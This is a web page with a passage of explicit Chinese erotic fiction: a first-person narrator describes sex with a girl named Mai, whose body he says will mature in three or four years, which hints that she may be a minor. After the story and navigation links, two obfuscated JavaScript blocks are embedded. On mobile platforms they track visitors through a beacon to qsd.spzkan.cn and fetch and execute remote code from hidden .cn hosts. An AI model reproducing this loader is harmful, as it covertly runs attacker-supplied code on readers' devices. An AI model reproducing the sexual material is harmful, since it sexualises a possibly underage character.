但是,注意到我的表情,她仿佛了解了我的意图似的。由于快感而染成粉红色的脸颊更进一步地发烧,连耳垂都变成了红色。

“要从后面来了哦!”

对于我的必杀一击,脸上写着“果然……”的表情,舞低下头去。

“因为从背后被攻击,是小舞最觉得害臊的姿势,……而且,也是快感最强烈的姿势。”

在这三天里,我以小舞为对像,……,就那样站着做、穿着直接衣服做、…

…为了越害羞就越兴奋的小舞,试过了各种各样的花式。对于即使是正常位也会觉得不好意思的小舞,虽然无论是哪一种都很有效,但其中效果格外显着的就是从后面插入了。

背后位,从女性背后插入的体位。

舞对这种姿势特别没有抵抗力的原因,不知为何,我总觉得自己能够理解。

首先,被摆成这种姿势,女性看不到对方。那种任凭看不见的对手肆虐摆布的感觉当然是会让她自哀自怜、十分不安。这份紧张感同时会让她的精神高度集中,换句话说就是感度会非常好。

其次,是来自那种与兽类相同的做爱姿势的耻辱感。实际上,这种完全被当成“一件东西”的屈辱的对待,会引发舞的被虐心。随着成为深爱着的男人的专属“物品”,身体和心灵都同时被征服……让她觉得自己已经成为完全属于我的女人。

对她来说,这是过于羞耻的体位。但却没有办法反抗我的命令。

趴下身子,舞用手与膝盖支撑着……将自己的身体奉献给我。

“不把腰部抬得更高的话……”

我有意刁难地发出进一步的指示。舞任命似的柔顺地服从了我。

屁股高高地抬起,送到了我的面前。

舞的臀部的确,有如白桃一般。

因为我是属于乳房派的,所以本来是并不会执着地迷恋臀部的,……但是,小舞就不同了!据说,米罗的维纳斯像,其实有着“理想的”臀部,不过,小舞的屁股也完全不输给她,可以毫无愧色与之相提并论。虽然目前仍然是少女的线条,但三、四年以后就会成长为完美而充满魅惑的曲线吧!充满弹性的肌肉,形状和大小都可称得上绝佳。

被占据了全部心思的我,两手抚上舞的屁股,充分地享受着那圆球带给我的快感。

“哈~…………”

恼人的春色中,小舞发出诱惑的吐息。

刹那间,从早已完全绽放的凌乱花瓣中,大量的蜜汁“突突”地滴滴洒落。

“我来了!”

感受着心底涌出的突如其来的欲望,我一鼓作气刺入舞的体内。

“啊嗯……啊、呵、呵、啊!”

“啪、啪、啪、啪!”

少女的娇啼声和臀部遭到撞击的声音在房间里回响。

在白桃的谷间进出着的欲望之枪,因为涂满舞的爱液而成为粘粘滑滑的状态。背后位也是一种,可以帮助阴茎到达内里深处的体位。虽然,小舞努力地叉开双手撑在床上抵抗着我的律动,但在子宫被我突入的同时,她软了下来。改为用肘部支撑后也没多久,她再次败下阵来,变成用肩膀顶住自己。

仿佛是在诉说着自己再也没有任何办法了似的,她开始扭起屁股来。我也就配合着她,顺势让分身做起旋转运动来。本来我们就已经拥有能够完美匹配的阳茎与阴道,但现在我和舞连唿吸都已经变得步调一致。响应着在泥泞的花径中搅动着的男根,小舞的腰部总能绝妙地把握住每一个时机配合我的动作。真正做到了一心一意的舞和我,也共同分享着这份飘飘欲仙的快感。

因为膝盖跪着的时间太长而有些疲劳,所以我改成蹲马步的姿势,抬起屁股从上方刺了下去……

“呀啊啊啊啊!”

小舞喘息着,做出至今为止最强烈的反应。

(怎么回事?……好象并不是因为疼痛的原因?)

我保持着这个姿势,在她的子宫入口处摩擦着。

“啊、啊、咿呀~~!”

仿佛是高音喇叭一般,小舞以惊人的声音诉说着她的快乐,如同遭受到强烈地震一般,身体不停地哆嗦,连缠绕着我分身的花径也在不正常的的痉挛着。

“舞,刚才觉得舒服吗?”

战战兢兢地做出了质询,舞扭过头来望向这边,轻轻颔首。目光空虚迷茫,就如同喝醉了酒似的,一副睡眼惺忪的样子。--小舞这种呆呆傻傻的表情,我也是首次见到。

“真的有那么爽吗?……”

“就如同在我的肚子里搅动似的。……”

(好、好象……反应很激烈啊!?)

看来,新找到的性感带可以带给小舞近乎危险的超强性快感呢。

“可以,接着做吗?”

对于我的问题,稍稍考虑了片刻,

“好吧…………”

舞重新转向前方。

再次瞄准该部分,这回试着改为小幅度的抽插,于是……。

小舞用近乎哭泣的声音,不断悲鸣着,

“来、来了!……又、又来了!……啊啊-、又!”

攀上了极乐的巅峰。而且,还是连续的。

(现在这样,就是“连丢不止”的状态吧…………?)

到底是怎样的一种快乐,身为男人的我是不知道的。虽然不知道,但如果是男性射精的一瞬间所体验到的那份“头脑中变成一片空白”的感觉,女性能够长时间连续享受的话,……那该是,被认为不可能存在于这世上的“究极的”感觉吧!

可是舞确实,得到了这份终极快感的造访。

娇小纤细的双手攥成拳,用尽全力死命地抓紧床单,试图抵挡这巨大的情爱之震波的来袭。花唇中漏出的蜜液无止境地如小溪般流淌不止。

“不、不行了!死了……死掉了--哇!”

在她的唿喝声中,最后最大的超强地震也同时开始了。在过去从未有过的强烈无比的收缩下,我意识到自己的极限也到来了。

紧紧抓住舞的臀部,在似乎已经插入了子宫的内部深处摩擦着……

“舞--!”

壮烈的飞沫奔涌而出。

正因为忍了又忍,所以这次的喷射不但量大而且惊人地猛烈。全部,射给小舞,注入她的体内。

连一秒钟误差也不存在的,两个人的绝顶。

在至今为止最强烈的快感作用下,我兴奋得微微发抖……舞的花芯以圈圈涟漪将我温柔地包围。仍未停止喷发的分身,在女神的感召下终于重归正常。

(在舞的里面……溶化了……)

攀上幸福极致的那一瞬间,……我窥见一个充满光辉的世界。

梦幻的一刻终于过去,所有的一切都结束了。

用生命之液将所爱的少女全部注满的我,

“舞…………”

唿唤着致爱的名字。

没有响应。

“…………?”

为了搞清楚她的状况,我准备退出舞的身体。

尽管早已放松了全身力气,我和小舞引以为傲的所谓完美匹配,让我们依然紧紧相连。我把手放到她的屁股之上,以向外推开的姿势开始拔出分身。一边抵抗着真空化后的女性腔襞回吸的力量,一边解除了合体状态时……

独特的声音在屋中响起。

如果使用稍有些过头的语言来形容的话,就是“将葡萄酒的瓶栓拔出时”的声音。这也是说明小舞的收缩有多紧的证据。

从拔出了软木塞的花园深处,两个人的爱情液一下子溢了出来。我温柔地为她拭去,漫过花瓣大量流出的液体。

已经完全松弛下来的舞,根本动弹不得。唯一有动作的,就是仍在继续微微翕动痉挛着的花瓣。

“舞…………”

虽然我又一次试着唿唤她,可还是没有任何回答。

变得有些担心的我偷偷瞄了她一下,缓缓动作的肩膀证明她仍有唿吸。

(太好了。)

在放下心来的同时,我意识到现在的她正处于“失神”状态。将她翻过身来让她仰躺着休息,用团扇为她送上阵阵轻风。

(感受太强烈时,会昏迷过去的啊……女性的话……)

想到自己能够把小舞送上快感的顶峰,我不由得满心欢喜。

拨开她的刘海儿,露出她白皙的前额。好可爱!看起来,非常幸福的表情,让我也觉得满足。

(吻她一下吧!)

我的唇,覆上了“睡美人”的。

“………………………………”

公主醒来了。

对不起。本想让你好好睡一觉的。

小舞好象并没有意识到自己刚刚昏过去了似的,眨了两三下眼之后,就直直地凝视着我。

“咏君……我……?”

“对不起,是不是有点做得过于激烈了啊?”

听到我的道歉,似乎终于明白了刚才在自己身上发生了什么事。小舞羞得满面通红。但即便如此,她内心的高尚品格仍在为我着想。

“没关系的。……虽然有点怕……但真的很舒服的……”

过于惹人爱怜的小舞。我情不自禁地一次又一次吻她。

让她喝过从冰箱里拿出来的冷藏矿泉水,我贴着小舞的粉弯雪股躺下。

这身心舒畅的疲劳感,看来可以让我今晚睡个好觉了。

“对了,舞……那个……今天也……”

“………………?”

“嗯,那个……想吸舞的乳房……”

舞哧哧地微笑着,奉献出自己的丰满。

虽然并不会有乳汁流出,但含在口中的感觉却能让我的心境变得安乐平和。

闭着嘴让舞的樱桃在口中转来转去,我很快就陷入了沉沉的梦乡。

是在梦中呢……还是在现实里……。

远远地,传来舞的轻声细语,

“永远…………无法忘记的…………夏天…………”

*1、富士额:女性的额头发际,近似于富士山山顶的形状。被认为是美丽的发际形状。


上一篇:我为女友嫣儿找老公(08)

下一篇:学园末世录‧极黑之崛起


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};